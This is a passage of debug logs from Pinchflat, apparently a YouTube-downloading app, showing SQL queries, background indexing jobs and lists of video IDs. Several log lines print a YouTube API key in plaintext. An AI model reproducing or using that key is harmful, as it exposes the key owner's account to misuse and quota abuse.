s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:36:37.449 [debug] QUERY OK source="settings" db=0.1ms idle=879.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.449 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.449 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:37.449 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:37.449 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.449 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:36:37.449 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.449 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:36:37.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.450 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:37.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:37.450 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:37.563 [debug] QUERY OK source="media_items" db=0.8ms idle=113.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:36:37.565 [debug] QUERY OK source="media_items" db=0.5ms idle=114.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:36:37.566 [debug] QUERY OK source="tasks" db=0.1ms idle=115.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800236, 12, ~U[2026-02-10 23:36:37Z], ~U[2026-02-10 23:36:37Z]] 17:36:37.566 [info] {"args":{"id":12},"id":3800198,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117322,"event":"job:stop","queue_time":381379,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:37.689 [debug] QUERY OK source="media_items" db=0.8ms idle=123.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 17:36:37.691 [debug] QUERY OK source="media_items" db=1.2ms idle=124.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:36:37.692 [debug] QUERY OK source="tasks" db=0.1ms idle=119.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800237, 11, ~U[2026-02-10 23:36:37Z], ~U[2026-02-10 23:36:37Z]] 17:36:37.692 [info] {"args":{"id":11},"id":3800197,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":243601,"event":"job:stop","queue_time":513644,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:38.449 [info] {"args":{"id":27},"id":3800199,"meta":{},"system_time":1770766598449770040,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:38.450 [info] {"args":{"id":28},"id":3800200,"meta":{},"system_time":1770766598449808301,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:38.450 [debug] QUERY OK source="sources" db=0.1ms idle=757.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:36:38.450 [debug] QUERY OK source="sources" db=0.2ms idle=757.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:36:38.450 [debug] QUERY OK source="settings" db=0.1ms idle=751.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.450 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.450 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:38.450 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:38.450 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.450 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:36:38.450 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.450 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:36:38.450 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.451 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:38.451 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:38.451 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:38.665 [debug] QUERY OK source="media_items" db=0.7ms idle=213.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:36:38.666 [debug] QUERY OK source="media_items" db=0.7ms idle=214.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:36:38.667 [debug] QUERY OK source="tasks" db=0.1ms idle=215.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800238, 27, ~U[2026-02-10 23:36:38Z], ~U[2026-02-10 23:36:38Z]] 17:36:38.667 [info] {"args":{"id":27},"id":3800199,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":217372,"event":"job:stop","queue_time":499046,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:38.786 [debug] QUERY OK source="media_items" db=0.7ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:36:38.787 [debug] QUERY OK source="media_items" db=0.4ms idle=119.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:36:38.788 [debug] QUERY OK source="tasks" db=0.1ms idle=114.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800239, 28, ~U[2026-02-10 23:36:38Z], ~U[2026-02-10 23:36:38Z]] 17:36:38.788 [info] {"args":{"id":28},"id":3800200,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":338421,"event":"job:stop","queue_time":396013,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:40.451 [info] {"args":{"id":16},"id":3800201,"meta":{},"system_time":1770766600451667908,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:40.452 [debug] QUERY OK source="sources" db=0.1ms idle=573.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:36:40.452 [debug] QUERY OK source="settings" db=0.0ms idle=573.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:40.452 [debug] QUERY OK source="media_profiles" db=0.1ms idle=573.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", 